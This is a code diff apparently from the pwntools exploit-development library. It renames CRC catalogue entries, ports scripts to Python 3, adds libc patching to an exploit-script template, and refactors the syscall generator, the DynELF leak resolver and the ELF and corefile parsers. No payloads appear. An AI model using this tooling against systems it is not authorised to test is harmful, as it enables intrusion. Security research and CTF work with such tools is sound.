 crc.cat.crc-16-opensafety-a width=16  poly=0x5935  init=0x0000  refin=false  refout=false  xorout=0x0000  check=0x5d38  residue=0x0000  name="CRC-16/OPENSAFETY-A"
-crc.cat.crc-16-opensafety-a width=16  poly=0x755b  init=0x0000  refin=false  refout=false  xorout=0x0000  check=0x20fe  residue=0x0000  name="CRC-16/OPENSAFETY-B"
+crc.cat.crc-16-opensafety-b width=16  poly=0x755b  init=0x0000  refin=false  refout=false  xorout=0x0000  check=0x20fe  residue=0x0000  name="CRC-16/OPENSAFETY-B"
 crc.cat.crc-16-profibus width=16  poly=0x1dcf  init=0xffff  refin=false  refout=false  xorout=0xffff  check=0xa819  residue=0xe394  name="CRC-16/PROFIBUS"
 crc.cat.crc-16-riello width=16  poly=0x1021  init=0xb2aa  refin=true  refout=true  xorout=0x0000  check=0x63d0  residue=0x0000  name="CRC-16/RIELLO"
+crc.cat.crc-16-spi-fujitsu width=16  poly=0x1021  init=0x1d0f  refin=false  refout=false  xorout=0x0000  check=0xe5cc  residue=0x0000  name="CRC-16/SPI-FUJITSU"
 crc.cat.crc-16-t10-dif width=16  poly=0x8bb7  init=0x0000  refin=false  refout=false  xorout=0x0000  check=0xd0db  residue=0x0000  name="CRC-16/T10-DIF"
 crc.cat.crc-16-teledisk width=16  poly=0xa097  init=0x0000  refin=false  refout=false  xorout=0x0000  check=0x0fb3  residue=0x0000  name="CRC-16/TELEDISK"
 crc.cat.crc-16-tms37157 width=16  poly=0x1021  init=0x89ec  refin=true  refout=true  xorout=0x0000  check=0x26b1  residue=0x0000  name="CRC-16/TMS37157"
+crc.cat.crc-16-umts width=16  poly=0x8005  init=0x0000  refin=false  refout=false  xorout=0x0000  check=0xfee8  residue=0x0000  name="CRC-16/UMTS"
 crc.cat.crc-16-usb width=16  poly=0x8005  init=0xffff  refin=true  refout=true  xorout=0xffff  check=0xb4c8  residue=0xb001  name="CRC-16/USB"
-crc.cat.crc-a width=16  poly=0x1021  init=0xc6c6  refin=true  refout=true  xorout=0x0000  check=0xbf05  residue=0x0000  name="CRC-A"
-crc.cat.kermit width=16  poly=0x1021  init=0x0000  refin=true  refout=true  xorout=0x0000  check=0x2189  residue=0x0000  name="KERMIT"
-crc.cat.modbus width=16  poly=0x8005  init=0xffff  refin=true  refout=true  xorout=0x0000  check=0x4b37  residue=0x0000  name="MODBUS"
-crc.cat.x-25 width=16  poly=0x1021  init=0xffff  refin=true  refout=true  xorout=0xffff  check=0x906e  residue=0xf0b8  name="X-25"
-crc.cat.xmodem width=16  poly=0x1021  init=0x0000  refin=false  refout=false  xorout=0x0000  check=0x31c3  residue=0x0000  name="XMODEM"
-crc.cat-bits.24 width=24  poly=0x864cfb  init=0xb704ce  refin=false  refout=false  xorout=0x000000  check=0x21cf02  residue=0x000000  name="CRC-24"
+crc.cat.crc-16-xmodem width=16  poly=0x1021  init=0x0000  refin=false  refout=false  xorout=0x0000  check=0x31c3  residue=0x0000  name="CRC-16/XMODEM"
+crc.cat.crc-17-can-fd width=17  poly=0x1685b  init=0x00000  refin=false  refout=false  xorout=0x00000  check=0x04f03  residue=0x00000  name="CRC-17/CAN-FD"
+crc.cat.crc-21-can-fd width=21  poly=0x102899  init=0x000000  refin=false  refout=false  xorout=0x000000  check=0x0ed841  residue=0x000000  name="CRC-21/CAN-FD"
 crc.cat.crc-24-ble width=24  poly=0x00065b  init=0x555555  refin=true  refout=true  xorout=0x000000  check=0xc25a56  residue=0x000000  name="CRC-24/BLE"
 crc.cat.crc-24-flexray-a width=24  poly=0x5d6dcb  init=0xfedcba  refin=false  refout=false  xorout=0x000000  check=0x7979bd  residue=0x000000  name="CRC-24/FLEXRAY-A"
 crc.cat.crc-24-flexray-b width=24  poly=0x5d6dcb  init=0xabcdef  refin=false  refout=false  xorout=0x000000  check=0x1f23b8  residue=0x000000  name="CRC-24/FLEXRAY-B"
 crc.cat.crc-24-interlaken width=24  poly=0x328b63  init=0xffffff  refin=false  refout=false  xorout=0xffffff  check=0xb4f3e6  residue=0x144e63  name="CRC-24/INTERLAKEN"
 crc.cat.crc-24-lte-a width=24  poly=0x864cfb  init=0x000000  refin=false  refout=false  xorout=0x000000  check=0xcde703  residue=0x000000  name="CRC-24/LTE-A"
 crc.cat.crc-24-lte-b width=24  poly=0x800063  init=0x000000  refin=false  refout=false  xorout=0x000000  check=0x23ef52  residue=0x000000  name="CRC-24/LTE-B"
-crc.cat-bits.30 width=30  poly=0x2030b9c7  init=0x3fffffff  refin=false  refout=false  xorout=0x3fffffff  check=0x04c34abf  residue=0x34efa55a  name="CRC-30/CDMA"
-crc.cat-bits.31 width=31  poly=0x04c11db7  init=0x7fffffff  refin=false  refout=false  xorout=0x7fffffff  check=0x0ce9e46c  residue=0x4eaf26f1  name="CRC-31/PHILIPS"
-crc.cat-bits.32 width=32  poly=0x04c11db7  init=0xffffffff  refin=true  refout=true  xorout=0xffffffff  check=0xcbf43926  residue=0xdebb20e3  name="CRC-32"
+crc.cat.crc-24-openpgp width=24  poly=0x864cfb  init=0xb704ce  refin=false  refout=false  xorout=0x000000  check=0x21cf02  residue=0x000000  name="CRC-24/OPENPGP"
+crc.cat.crc-24-os-9 width=24  poly=0x800063  init=0xffffff  refin=false  refout=false  xorout=0xffffff  check=0x200fa5  residue=0x800fe3  name="CRC-24/OS-9"
+crc.cat.crc-30-cdma width=30  poly=0x2030b9c7  init=0x3fffffff  refin=false  refout=false  xorout=0x3fffffff  check=0x04c34abf  residue=0x34efa55a  name="CRC-30/CDMA"
+crc.cat.crc-31-philips width=31  poly=0x04c11db7  init=0x7fffffff  refin=false  refout=false  xorout=0x7fffffff  check=0x0ce9e46c  residue=0x4eaf26f1  name="CRC-31/PHILIPS"
+crc.cat.crc-32-aixm width=32  poly=0x814141ab  init=0x00000000  refin=false  refout=false  xorout=0x00000000  check=0x3010bf7f  residue=0x00000000  name="CRC-32/AIXM"
 crc.cat.crc-32-autosar width=32  poly=0xf4acfb13  init=0xffffffff  refin=true  refout=true  xorout=0xffffffff  check=0x1697d06a  residue=0x904cddbf  name="CRC-32/AUTOSAR"
+crc.cat.crc-32-base91-d width=32  poly=0xa833982b  init=0xffffffff  refin=true  refout=true  xorout=0xffffffff  check=0x87315576  residue=0x45270551  name="CRC-32/BASE91-D"
 crc.cat.crc-32-bzip2 width=32  poly=0x04c11db7  init=0xffffffff  refin=false  refout=false  xorout=0xffffffff  check=0xfc891918  residue=0xc704dd7b  name="CRC-32/BZIP2"
-crc.cat.crc-32c width=32  poly=0x1edc6f41  init=0xffffffff  refin=true  refout=true  xorout=0xffffffff  check=0xe3069283  residue=0xb798b438  name="CRC-32C"
-crc.cat.crc-32d width=32  poly=0xa833982b  init=0xffffffff  refin=true  refout=true  xorout=0xffffffff  check=0x87315576  residue=0x45270551  name="CRC-32D"
+crc.cat.crc-32-cd-rom-edc width=32  poly=0x8001801b  init=0x00000000  refin=true  refout=true  xorout=0x00000000  check=0x6ec2edc4  residue=0x00000000  name="CRC-32/CD-ROM-EDC"
+crc.cat.crc-32-cksum width=32  poly=0x04c11db7  init=0x00000000  refin=false  refout=false  xorout=0xffffffff  check=0x765e7680  residue=0xc704dd7b  name="CRC-32/CKSUM"
+crc.cat.crc-32-iscsi width=32  poly=0x1edc6f41  init=0xffffffff  refin=true  refout=true  xorout=0xffffffff  check=0xe3069283  residue=0xb798b438  name="CRC-32/ISCSI"
+crc.cat.crc-32-iso-hdlc width=32  poly=0x04c11db7  init=0xffffffff  refin=true  refout=true  xorout=0xffffffff  check=0xcbf43926  residue=0xdebb20e3  name="CRC-32/ISO-HDLC"
+crc.cat.crc-32-jamcrc width=32  poly=0x04c11db7  init=0xffffffff  refin=true  refout=true  xorout=0x00000000  check=0x340bc6d9  residue=0x00000000  name="CRC-32/JAMCRC"
+crc.cat.crc-32-mef width=32  poly=0x741b8cd7  init=0xffffffff  refin=true  refout=true  xorout=0x00000000  check=0xd2c22f51  residue=0x00000000  name="CRC-32/MEF"
 crc.cat.crc-32-mpeg-2 width=32  poly=0x04c11db7  init=0xffffffff  refin=false  refout=false  xorout=0x00000000  check=0x0376e6e7  residue=0x00000000  name="CRC-32/MPEG-2"
-crc.cat.crc-32-posix width=32  poly=0x04c11db7  init=0x00000000  refin=false  refout=false  xorout=0xffffffff  check=0x765e7680  residue=0xc704dd7b  name="CRC-32/POSIX"
-crc.cat.crc-32q width=32  poly=0x814141ab  init=0x00000000  refin=false  refout=false  xorout=0x00000000  check=0x3010bf7f  residue=0x00000000  name="CRC-32Q"
-crc.cat.jamcrc width=32  poly=0x04c11db7  init=0xffffffff  refin=true  refout=true  xorout=0x00000000  check=0x340bc6d9  residue=0x00000000  name="JAMCRC"
-crc.cat.xfer width=32  poly=0x000000af  init=0x00000000  refin=false  refout=false  xorout=0x00000000  check=0xbd0be338  residue=0x00000000  name="XFER"
-crc.cat-bits.40 width=40  poly=0x0004820009  init=0x0000000000  refin=false  refout=false  xorout=0xffffffffff  check=0xd4164fc646  residue=0xc4ff8071ff  name="CRC-40/GSM"
-crc.cat-bits.64 width=64  poly=0x42f0e1eba9ea3693  init=0x0000000000000000  refin=false  refout=false  xorout=0x0000000000000000  check=0x6c40df5f0b497347  residue=0x0000000000000000  name="CRC-64"
+crc.cat.crc-32-xfer width=32  poly=0x000000af  init=0x00000000  refin=false  refout=false  xorout=0x00000000  check=0xbd0be338  residue=0x00000000  name="CRC-32/XFER"
+crc.cat.crc-40-gsm width=40  poly=0x0004820009  init=0x0000000000  refin=false  refout=false  xorout=0xffffffffff  check=0xd4164fc646  residue=0xc4ff8071ff  name="CRC-40/GSM"
+crc.cat.crc-64-ecma-182 width=64  poly=0x42f0e1eba9ea3693  init=0x0000000000000000  refin=false  refout=false  xorout=0x0000000000000000  check=0x6c40df5f0b497347  residue=0x0000000000000000  name="CRC-64/ECMA-182"
 crc.cat.crc-64-go-iso width=64  poly=0x000000000000001b  init=0xffffffffffffffff  refin=true  refout=true  xorout=0xffffffffffffffff  check=0xb90956c775a41001  residue=0x5300000000000000  name="CRC-64/GO-ISO"
+crc.cat.crc-64-ms width=64  poly=0x259c84cba6426349  init=0xffffffffffffffff  refin=true  refout=true  xorout=0x0000000000000000  check=0x75d4b74f024eceea  residue=0x0000000000000000  name="CRC-64/MS"
 crc.cat.crc-64-we width=64  poly=0x42f0e1eba9ea3693  init=0xffffffffffffffff  refin=false  refout=false  xorout=0xffffffffffffffff  check=0x62ec59e3f1a4f00a  residue=0xfcacbebd5931a992  name="CRC-64/WE"
 crc.cat.crc-64-xz width=64  poly=0x42f0e1eba9ea3693  init=0xffffffffffffffff  refin=true  refout=true  xorout=0xffffffffffffffff  check=0x995dc9bbdf1939fa  residue=0x49958c9abd7d353f  name="CRC-64/XZ"
-crc.cat-bits.82 width=82  poly=0x0308c0111011401440411  init=0x000000000000000000000  refin=true  refout=true  xorout=0x000000000000000000000  check=0x09ea83f625023801fd612  residue=0x000000000000000000000  name="CRC-82/DARC"
+crc.cat.crc-82-darc width=82  poly=0x0308c0111011401440411  init=0x000000000000000000000  refin=true  refout=true  xorout=0x000000000000000000000  check=0x09ea83f625023801fd612  residue=0x000000000000000000000  name="CRC-82/DARC"

pwnlib/data/syscalls/generate.py

@@ -1,4 +1,4 @@
-#!/usr/bin/env python2
+#!/usr/bin/env python3
 from __future__ import division
 import argparse
 import keyword
@@ -72,7 +72,7 @@ CALL = """
                 target = regs[index]
                 register_arguments[target] = arg
             elif arg is not None:
-                stack_arguments[index] = arg
+                stack_arguments[name] = arg
 
         # The argument is not a register.  It is a string value, and we
         # are expecting a string value
@@ -100,7 +100,7 @@ CALL = """
                 target = regs[index]
                 register_arguments[target] = arg
             elif arg is not None:
-                stack_arguments[target] = arg
+                stack_arguments[name] = arg
 
     # Some syscalls have different names on various architectures.
     # Determine which syscall number to use for the current architecture.
@@ -108,7 +108,7 @@ CALL = """
         if hasattr(pwnlib.constants, syscall):
             break
     else:
-        raise Exception("Could not locate any syscalls: %r" % syscalls)
+        raise Exception("Could not locate any syscalls: %r" % {syscalls!r})
 %>
     /* {name}(${{', '.join(syscall_repr)}}) */
 %for name, arg in string_arguments.items():
@@ -137,6 +137,7 @@ def can_be_string(arg):
     if arg.type == 'void' and arg.derefcnt == 1:
         return True
 
+
 def can_be_array(arg):
     if arg.type == 'char' and arg.derefcnt == 2:
         return True
@@ -160,11 +161,13 @@ def fix_bad_arg_names(func, arg):
 def get_arg_default(arg):
     return 0
 
+
 def fix_rt_syscall_name(name):
     if name.startswith('rt_'):
         return name[3:]
     return name
 
+
 def fix_syscall_names(name):
     # Do not use old_mmap
     if name == 'SYS_mmap':
@@ -180,6 +183,7 @@ def main(target):
         with context.local(arch=arch):
             generate_one(target)
 
+
 def generate_one(target):
     SYSCALL_NAMES = [c for c in dir(constants) if c.startswith('SYS_')]
 
@@ -214,46 +218,50 @@ def generate_one(target):
 
         # Set up the argument string for Mako
         argument_names = []
+        argument_names_ = []
         argument_defaults = []
 
-        #
-
-        for arg in function.args:
-            argname = fix_bad_arg_names(function, arg)
-            default = get_arg_default(arg)
-
-            # Mako is unable to use *vararg and *kwarg, so we just stub in
-            # a whole bunch of additional arguments.
-            if argname == 'vararg':
-                for j in range(5):
-                    argname = 'vararg_%i' % j
-                    argument_names.append(argname)
-                    argument_defaults.append('%s=%s' % (argname, None))
-                break
-
-            argument_names.append(argname)
-            argument_defaults.append('%s=%s' % (argname, default))
-
-        arguments_default_values = ', '.join(argument_defaults)
-        arguments_comma_separated = ', '.join(argument_names)
-
         string_arguments = []
         array_arguments = []
         arg_docs = []
 
+        #
+
         for arg in function.args:
+            argname_ = fix_bad_arg_names(function, arg)
+            argname = argname_.rstrip('_')
+            default = get_arg_default(arg)
 
             if can_be_array(arg):
-                array_arguments.append(arg.name)
+                array_arguments.append(argname)
 
             if can_be_string(arg):
-                string_arguments.append(arg.name)
+                string_arguments.append(argname)
 
-            argname = arg.name
             argtype = str(arg.type) + ('*' * arg.derefcnt)
             arg_docs.append(
-                '    {argname}({argtype}): {argname}'.format(argname=argname,
-                                                             argtype=argtype))
+                '    {argname_}({argtype}): {argname}'.format(
+                    argname_=argname_,
+                    argname=argname,
+                    argtype=argtype,
+                ))
+
+            # Mako is unable to use *vararg and *kwarg, so we just stub in
+            # a whole bunch of additional arguments.
+            if argname == 'vararg':
+                for j in range(6):
+                    argname = 'vararg_%i' % j
+                    argument_names.append(argname)
+                    argument_names_.append(argname)
+                    argument_defaults.append('%s=%s' % (argname, None))
+                break
+
+            argument_names.append(argname)
+            argument_names_.append(argname_)
+            argument_defaults.append('%s=%s' % (argname_, default))
+
+        arguments_default_values = ', '.join(argument_defaults)
+        arguments_comma_separated = ', '.join(argument_names_)
 
         return_type = str(function.type) + ('*' * function.derefcnt)
         arg_docs = '\n'.join(arg_docs)
@@ -282,6 +290,7 @@ def generate_one(target):
         with open(os.path.join(target, name + '.asm'), 'wt') as f:
             f.write('\n'.join(map(str.strip, lines)) + '\n')
 
+
 if __name__ == '__main__':
     p = argparse.ArgumentParser()
     p.add_argument('target_directory')

pwnlib/data/templates/pwnup.mako

@@ -1,4 +1,4 @@
-<%page args="binary, host=None, port=None, user=None, password=None, remote_path=None, quiet=False"/>\
+<%page args="binary, host=None, port=None, user=None, password=None, libc=None, remote_path=None, quiet=False"/>\
 <%
 import os
 import sys
@@ -31,6 +31,7 @@ elif host and not port:
 remote_path = remote_path or exe
 password = password or 'secret1234'
 binary_repr = repr(binary)
+libc_repr = repr(libc)
 %>\
 #!/usr/bin/env python3
 # -*- coding: utf-8 -*-
@@ -44,7 +45,7 @@ from pwn import *
 # Set up pwntools for the correct architecture
 %endif
 %if ctx.binary:
-exe = context.binary = ELF(${binary_repr})
+exe = context.binary = ELF(args.EXE or ${binary_repr})
 <% binary_repr = 'exe.path' %>
 %else:
 context.update(arch='i386')
@@ -58,7 +59,7 @@ exe = ${binary_repr}
 # for all created processes...
 # ./exploit.py DEBUG NOASLR
 %if host or port or user:
-# ./exploit.py GDB HOST=example.com PORT=4141
+# ./exploit.py GDB HOST=example.com PORT=4141 EXE=/tmp/executable
 %endif
 %endif
 %if host:
@@ -83,6 +84,35 @@ if not args.LOCAL:
     shell.set_working_directory(symlink=True)
 %endif
 
+%if libc:
+%if not quiet:
+# Use the specified remote libc version unless explicitly told to use the
+# local system version with the `LOCAL_LIBC` argument.
+# ./exploit.py LOCAL LOCAL_LIBC
+%endif
+if args.LOCAL_LIBC:
+    libc = exe.libc
+%if host:
+elif args.LOCAL:
+%else:
+else:
+%endif
+    library_path = libcdb.download_libraries(${libc_repr})
+    if library_path:
+      %if ctx.binary:
+        exe = context.binary = ELF.patch_custom_libraries(${binary_repr}, library_path)
+      %else:
+        exe = ELF.patch_custom_libraries(exe, library_path)
+      %endif
+        libc = exe.libc
+    else:
+        libc = ELF(${libc_repr})
+%if host:
+else:
+    libc = ELF(${libc_repr})
+%endif
+%endif
+
 %if host:
 def start_local(argv=[], *a, **kw):
     '''Execute the target binary locally'''

pwnlib/data/useragents/download-useragents.py

@@ -1,4 +1,4 @@
-#!/usr/bin/env python2
+#!/usr/bin/env python3
 """Script for downloading lists of user agent strings."""
 from __future__ import division
 import os
@@ -43,7 +43,7 @@ with log.waitfor('Fetching from from http://www.user-agents.org') as l:
     l.success()
 
 with log.waitfor('Parsing list') as l:
-    for item in soup.__getattr__('user-agents'):
+    for item in getattr(soup, 'user-agents'):
         if item.name == 'user-agent':
             ua = item.select('string')[0].string.strip()
             try:

pwnlib/dynelf.py

@@ -15,7 +15,7 @@ Example
     # leaks at least one byte at that address.
     def leak(address):
         data = p.read(address, 4)
-        log.debug("%#x => %s" % (address, enhex(data or '')))
+        log.debug("%#x => %s", address, enhex(data or ''))
         return data
 
     # For the sake of this example, let's say that we
@@ -62,8 +62,7 @@ from pwnlib.elf import constants
 from pwnlib.log import getLogger
 from pwnlib.memleak import MemLeak
 from pwnlib.util.fiddling import enhex
-from pwnlib.util.packing import unpack, _need_bytes
-from pwnlib.util.web import wget
+from pwnlib.util.packing import _need_bytes
 
 log    = getLogger(__name__)
 sizeof = ctypes.sizeof
@@ -141,10 +140,10 @@ class DynELF(object):
     .. _.got.plt:  https://refspecs.linuxbase.org/LSB_3.1.1/LSB-Core-generic/LSB-Core-generic/specialsections.html
     .. _DYNAMIC:   http://www.sco.com/developers/gabi/latest/ch5.dynamic.html#dynamic_section
     .. _SYSV:      https://refspecs.linuxbase.org/elf/gabi4+/ch5.dynamic.html#hash
-    .. _GNU:       https://blogs.oracle.com/ali/entry/gnu_hash_elf_sections
+    .. _GNU:       https://blogs.oracle.com/solaris/post/gnu-hash-elf-sections
     .. _DT_DEBUG:  https://reverseengineering.stackexchange.com/questions/6525/elf-link-map-when-linked-as-relro
     .. _link map:  https://sourceware.org/git/?p=glibc.git;a=blob;f=elf/link.h;h=eaca8028e45a859ac280301a6e955a14eed1b887;hb=HEAD#l84
-    .. _DT_PLTGOT: http://refspecs.linuxfoundation.org/ELF/zSeries/lzsabi0_zSeries/x2251.html
+    .. _DT_PLTGOT: https://refspecs.linuxfoundation.org/ELF/zSeries/lzsabi0_zSeries/x2251.html
     '''
 
     def __init__(self, leak, pointer=None, elf=None, libcdb=True):
@@ -562,7 +561,7 @@ class DynELF(object):
         else:   dynlib = self
 
         if dynlib is None:
-            log.failure("Could not find %r" % lib)
+            log.failure("Could not find %r", lib)
             return None
 
         #
@@ -573,7 +572,7 @@ class DynELF(object):
             self.status("Trying lookup based on Build ID")
             build_id = dynlib._lookup_build_id(lib=lib)
             if build_id:
-                log.info("Trying lookup based on Build ID: %s" % build_id)
+                log.info("Trying lookup based on Build ID: %s", build_id)
                 path = libcdb.search_by_build_id(build_id)
                 if path:
                     with context.local(log_level='error'):
@@ -615,7 +614,7 @@ class DynELF(object):
                 addr   = leak.field(cur, LinkMap.l_addr)
                 cur    = leak.field(cur, LinkMap.l_next)
 
-                log.debug('Found %r @ %#x' % (name, addr))
+                log.debug('Found %r @ %#x', name, addr)
 
                 self._bases[name] = addr
 
@@ -770,7 +769,7 @@ class DynELF(object):
             structure.
 
             Again, Oracle has good documentation.
-            https://blogs.oracle.com/ali/entry/gnu_hash_elf_sections
+            https://blogs.oracle.com/solaris/post/gnu-hash-elf-sections
 
             You can force an ELF to use this type of symbol table by compiling
             with 'gcc -Wl,--hash-style=gnu'

pwnlib/elf/corefile.py

@@ -76,7 +76,6 @@ import tempfile
 from io import BytesIO, StringIO
 
 import elftools
-from elftools.common.py3compat import bytes2str
 from elftools.common.utils import roundup
 from elftools.common.utils import struct_parse
 from elftools.construct import CString
@@ -94,6 +93,7 @@ from pwnlib.util.fiddling import enhex
 from pwnlib.util.fiddling import unhex
 from pwnlib.util.misc import read
 from pwnlib.util.misc import write
+from pwnlib.util.packing import _decode
 from pwnlib.util.packing import pack
 from pwnlib.util.packing import unpack_many
 
@@ -134,12 +134,13 @@ def iter_notes(self):
         self.stream.seek(offset)
         # n_namesz is 4-byte aligned.
         disk_namesz = roundup(note['n_namesz'], 2)
-        note['n_name'] = bytes2str(
-            CString('').parse(self.stream.read(disk_namesz)))
-        offset += disk_namesz
+        with context.local(encoding='latin-1'):
+            note['n_name'] = _decode(
+                CString('').parse(self.stream.read(disk_namesz)))
+            offset += disk_namesz
 
-        desc_data = bytes2str(self.stream.read(note['n_descsz']))
-        note['n_desc'] = desc_data
+            desc_data = _decode(self.stream.read(note['n_descsz']))
+            note['n_desc'] = desc_data
         offset += roundup(note['n_descsz'], 2)
         note['n_size'] = offset - note['n_offset']
         yield note
@@ -445,7 +446,7 @@ class Corefile(ELF):
         will be loaded.
 
         >>> process('bash').corefile.libc # doctest: +ELLIPSIS
-        Mapping('/.../libc-....so', start=0x..., stop=0x..., size=0x..., flags=..., page_offset=...)
+        Mapping('.../libc...so...', start=0x..., stop=0x..., size=0x..., flags=..., page_offset=...)
 
         The corefile also contains a :attr:`.stack` property, which gives
         us direct access to the stack contents.  On Linux, the very top of the stack
@@ -530,7 +531,6 @@ class Corefile(ELF):
         >>> io = elf.process()
         >>> io.wait(2)
         >>> core = io.corefile
-        [!] End of the stack is corrupted, skipping stack parsing (got: 41414141)
         >>> core.argc, core.argv, core.env
         (0, [], {})
         >>> core.stack.data.endswith(b'AAAA')
@@ -666,7 +666,7 @@ class Corefile(ELF):
                     log.warn('Could not find the stack!')
                     self.stack = None
 
-            with context.local(bytes=self.bytes, log_level='warn'):
+            with context.local(bytes=self.bytes):
                 try:
                     self._parse_stack()
                 except ValueError:
@@ -759,7 +759,7 @@ class Corefile(ELF):
     @property
     def libc(self):
         """:class:`Mapping`: First mapping for ``libc.so``"""
-        expr = r'libc\b.*so$'
+        expr = r'^libc\b.*so(?:\.6)?$'
 
         for m in self.mappings:
             if not m.name:
@@ -1184,14 +1184,13 @@ class Corefile(ELF):
         pwnlib.gdb.attach(self, exe=self.exe.path)
 
     def __getattr__(self, attribute):
-        if self.prstatus:
-            if hasattr(self.prstatus, attribute):
-                return getattr(self.prstatus, attribute)
+        if attribute.startswith('_') or not self.prstatus:
+            raise AttributeError(attribute)
 
-            if hasattr(self.prstatus.pr_reg, attribute):
-                return getattr(self.prstatus.pr_reg, attribute)
+        if hasattr(self.prstatus, attribute):
+            return getattr(self.prstatus, attribute)
 
-        return super(Corefile, self).__getattribute__(attribute)
+        return getattr(self.prstatus.pr_reg, attribute)
 
     # Override routines which don't make sense for Corefiles
     def _populate_got(*a): pass
@@ -1407,9 +1406,8 @@ class CorefileFinder(object):
                     "coredumpctl",
                     "dump",
                     "--output=%s" % filename,
-                    # Filter coredump by pid and filename
+                    # Filter coredump by pid
                     str(self.pid),
-                    self.basename,
                 ],
                 stdout=open(os.devnull, 'w'),
                 stderr=subprocess.STDOUT,

pwnlib/elf/datatypes.py

@@ -604,7 +604,8 @@ class user_regs_struct_aarch64(ctypes.Structure):
     def __getattr__(self, name):
         if name.startswith('r'):
             name = 'x' + name[1:]
-            return getattr(name) & 0xffffffff
+            return getattr(self, name) & 0xffffffff
+        raise AttributeError(name)
 
 class elf_prstatus_i386(ctypes.Structure):
     _fields_ = generate_prstatus_common(32, user_regs_struct_i386)

pwnlib/elf/elf.py

@@ -49,7 +49,6 @@ from six import BytesIO
 
 from collections import namedtuple
 
-from elftools.elf.constants import E_FLAGS
 from elftools.elf.constants import P_FLAGS
 from elftools.elf.constants import SHN_INDICES
 from elftools.elf.descriptions import describe_e_type
@@ -83,7 +82,7 @@ from pwnlib.tubes.process import process
 from pwnlib.util import misc
 from pwnlib.util import packing
 from pwnlib.util.fiddling import unhex
-from pwnlib.util.misc import align, align_down
+from pwnlib.util.misc import align, align_down, which
 from pwnlib.util.sh_string import sh_string
 
 log = getLogger(__name__)
@@ -157,6 +156,12 @@ class dotdict(dict):
         >>> x.bar.baz
         4
     """
+    def __missing__(self, name):
+        if isinstance(name, (bytes, bytearray)):
+            name = packing._decode(name)
+            return self[name]
+        raise KeyError(name)
+
     def __getattr__(self, name):
         if name in self:
             return self[name]
@@ -167,8 +172,7 @@ class dotdict(dict):
 
         if subkeys:
             return dotdict(subkeys)
-
-        return getattr(super(dotdict, self), name)
+        raise AttributeError(name)
 
 class ELF(ELFFile):
     """Encapsulates information about an ELF file.
@@ -220,14 +224,7 @@ class ELF(ELFFile):
         super(ELF,self).__init__(self.mmap)
 
         #: :class:`str`: Path to the file
-        self.path = os.path.abspath(path)
-
-        #: :class:`str`: Architecture of the file (e.g. ``'i386'``, ``'arm'``).
-        #:
-        #: See: :attr:`.ContextType.arch`
-        self.arch = self.get_machine_arch()
-        if isinstance(self.arch, (bytes, six.text_type)):
-            self.arch = self.arch.lower()
+        self.path = packing._need_text(os.path.abspath(path))
 
         #: :class:`dotdict` of ``name`` to ``address`` for all symbols in the ELF
         self.symbols = dotdict()
@@ -235,7 +232,7 @@ class ELF(ELFFile):
         #: :class:`dotdict` of ``name`` to ``address`` for all Global Offset Table (GOT) entries
         self.got = dotdict()
 
-        #: :class:`dotdict` of ``name`` to ``address`` for all Procedure Linkate Table (PLT) entries
+        #: :class:`dotdict` of ``name`` to ``address`` for all Procedure Linkage Table (PLT) entries
         self.plt = dotdict()
 
         #: :class:`dotdict` of ``name`` to :class:`.Function` for each function in the ELF
@@ -263,17 +260,12 @@ class ELF(ELFFile):
         #: :class:`int`: Pointer width, in bytes
         self.bytes = self.bits // 8
 
-        if self.arch == 'mips':
-            mask = lambda a, b: a & b == b
-            flags = self.header['e_flags']
-
-            if mask(flags, E_FLAGS.EF_MIPS_ARCH_32) \
-            or mask(flags, E_FLAGS.EF_MIPS_ARCH_32R2):
-                pass
-            elif mask(flags, E_FLAGS.EF_MIPS_ARCH_64) \
-            or mask(flags, E_FLAGS.EF_MIPS_ARCH_64R2):
-                self.arch = 'mips64'
-                self.bits = 64
+        #: :class:`str`: Architecture of the file (e.g. ``'i386'``, ``'arm'``).
+        #:
+        #: See: :attr:`.ContextType.arch`
+        self.arch = self.get_machine_arch()
+        if isinstance(self.arch, (bytes, six.text_type)):
+            self.arch = self.arch.lower()
 
         self._sections = None
         self._segments = None
@@ -466,18 +458,21 @@ class ELF(ELFFile):
 
     def get_machine_arch(self):
         return {
-            'EM_X86_64': 'amd64',
-            'EM_386' :'i386',
-            'EM_486': 'i386',
-            'EM_ARM': 'arm',
-            'EM_AARCH64': 'aarch64',
-            'EM_MIPS': 'mips',
-            'EM_PPC': 'powerpc',
-            'EM_PPC64': 'powerpc64',
-            'EM_SPARC32PLUS': 'sparc',
-            'EM_SPARCV9': 'sparc64',
-            'EM_IA_64': 'ia64'
-        }.get(self['e_machine'], self['e_machine'])
+            ('EM_X86_64', 64): 'amd64',
+            ('EM_386', 32): 'i386',
+            ('EM_486', 32): 'i386',
+            ('EM_ARM', 32): 'arm',
+            ('EM_AARCH64', 64): 'aarch64',
+            ('EM_MIPS', 32): 'mips',
+            ('EM_MIPS', 64): 'mips64',
+            ('EM_PPC', 32): 'powerpc',
+            ('EM_PPC64', 64): 'powerpc64',
+            ('EM_SPARC32PLUS', 32): 'sparc',
+            ('EM_SPARCV9', 64): 'sparc64',
+            ('EM_IA_64', 64): 'ia64',
+            ('EM_RISCV', 32): 'riscv32',
+            ('EM_RISCV', 64): 'riscv64',
+        }.get((self['e_machine'], self.bits), self['e_machine'])
 
     @property
     def entry(self):
@@ -1056,10 +1051,10 @@ class ELF(ELFFile):
             return
 
         banner = self.string(self.symbols.linux_banner)
-        
+
         # convert banner into a utf-8 string since re.search does not accept bytes anymore
         banner = banner.decode('utf-8')
-        
+
         # 'Linux version 3.18.31-gd0846ecc
         regex = r'Linux version (\S+)'
         match = re.search(regex, banner)
@@ -1076,11 +1071,17 @@ class ELF(ELFFile):
 
     @property
     def libc_start_main_return(self):
-        """
-            Try to find the return address from main into __libc_start_main.
-            The heuristic to find the call to the function pointer of main is
-            to list all calls inside __libc_start_main, find the call to exit
-            after the call to main and select the previous call.
+        """:class:`int`: Address of the return address into __libc_start_main from main.
+
+        >>> bash = ELF(which('bash'))
+        >>> libc = bash.libc
+        >>> libc.libc_start_main_return > 0
+        True
+
+        Try to find the return address from main into __libc_start_main.
+        The heuristic to find the call to the function pointer of main is
+        to list all calls inside __libc_start_main, find the call to exit
+        after the call to main and select the previous call.
         """
         if '__libc_start_main' not in self.functions:
             return 0
@@ -1103,19 +1104,44 @@ class ELF(ELFFile):
         else:
             log.error('Unsupported architecture %s in ELF.libc_start_main_return', self.arch)
             return 0
-        
-        code = self.disasm(self.symbols['__libc_start_main'], self.functions['__libc_start_main'].size)
-        exit_addr = hex(self.symbols['exit'])
-        lines = code.split('\n')
-        calls = [(index, line) for index, line in enumerate(lines) if set(line.split()) & call_instructions]
